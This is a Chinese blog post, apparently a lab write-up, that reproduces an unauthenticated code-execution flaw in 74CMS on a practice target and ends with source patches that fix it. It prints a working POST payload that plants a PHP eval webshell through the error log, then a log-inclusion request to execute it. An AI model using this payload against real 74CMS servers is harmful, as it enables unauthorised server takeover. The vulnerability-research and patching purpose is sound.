74CMS漏洞复现

74CMS漏洞复现

漏洞描述:

由于74CMS 某些函数存在过滤不严格,攻击者通过构造恶意请求,配合文件包含漏洞可在无需登录的情况下执行任意代码,控制服务器。

影响范围:

74CMS_v5.0.1

版本低于6.0.48

环境复现:

这里采用安鸾渗透实战平台的靶机  地址

漏洞复现:

访问http://www.whalwl.site:8019/index.php?m=home&a=assign_resume_tpl 发现报错

访问 www.whalwl.site:8019/index.php?m=home&a=assign_resume_tpl

POST提交:variable=1&tpl=<?php fputs(fopen("shell.php","w"),"<?php eval(\$_POST[x]);?>")?>; ob_flush();?>/r/n<qscms/company_show 列表名="info" 企业id="$_GET['id']"/>

 将shell写入报错日志文件中

开始包含:

POST:variable=1&tpl=data/Runtime/Logs/Home/21_01_20.log(这个日志文件名为你该天的年月日)

 成功包含

进行语句验证

 蚁剑进行连接

 

漏洞修复:

在下面路径的169行进行修改

/Application/Common/Controller/BaseController.class.php

未修改前:


public function assign_resume_tpl($variable,$tpl){
        foreach ($variable as $key => $value) {
            $this->assign($key,$value);
        }
        return $this->fetch($tpl);

加入下面这行代码:


$view = new \Think\View;
 
        $tpl_file = $view->parseTemplate($tpl);
 
        if(!is_file($tpl_file)){
 
            return false;
 
        }
 
// 修改之后的代码
public function assign_resume_tpl($variable,$tpl){
        foreach ($variable as $key => $value) {
            $this->assign($key,$value);
        } // fix 20210203
        $view = new \Think\View;
        $tpl_file = $view->parseTemplate($tpl);
        if(!is_file($tpl_file)){
            return false;
        }
        return $this->fetch($tpl);
    }

下面路径的文件:

/ThinkPHP/Library/Think/View.class.php

View.class.php文件中106行fetch方法中修改
 
  // 将110行
 
if(!is_file($templateFile)) E(L('_TEMPLATE_NOT_EXIST_').':'.$templateFile);
 
// 代码注释替换为
 
if(!is_file($templateFile)) E(L('_TEMPLATE_NOT_EXIST_'));

猜你喜欢

转载自blog.csdn.net/qq_48985780/article/details/121656199
今日推荐